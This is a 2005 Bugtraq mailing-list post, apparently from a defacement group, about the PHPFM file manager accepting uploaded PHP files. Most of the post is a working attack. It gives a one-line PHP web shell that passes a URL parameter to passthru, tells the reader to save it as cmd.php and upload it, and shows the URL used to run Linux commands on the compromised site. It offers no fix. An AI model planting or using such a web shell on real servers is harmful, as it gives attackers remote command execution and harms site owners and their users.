[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
upload phpshell in PHPFM
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: upload phpshell in PHPFM
- From: GeekZ@xxxxxxxxxxxxxxxxx, "[at]"@securityfocus.com, WorldDefacers@xxxxxxxxxxxxxxxxx, "[d0t]"@securityfocus.com, NeT@xxxxxxxxxxxxxxxxx
- Date: 7 Nov 2005 01:35:46 -0000
upload phpshell in PHPFM
discovered by rUnViRuS
www.worlddefacers.net
www.security-arab.com
=-=-=-=-=-=-=-=-=
the code shell :-
---------------
<pre>
<?
passthru($_GET['cmd']);
?>>
save as > cmd.php
now upload in PHPFM
=-=-=-=
Used Shell
=-=-=-=
www.site.com/[file upload name]/[files]/cmd.php?cmd=[command linux]
=-=-=-==-=-=-==-=-=-==-=-=-==-=-=-==-=-=-=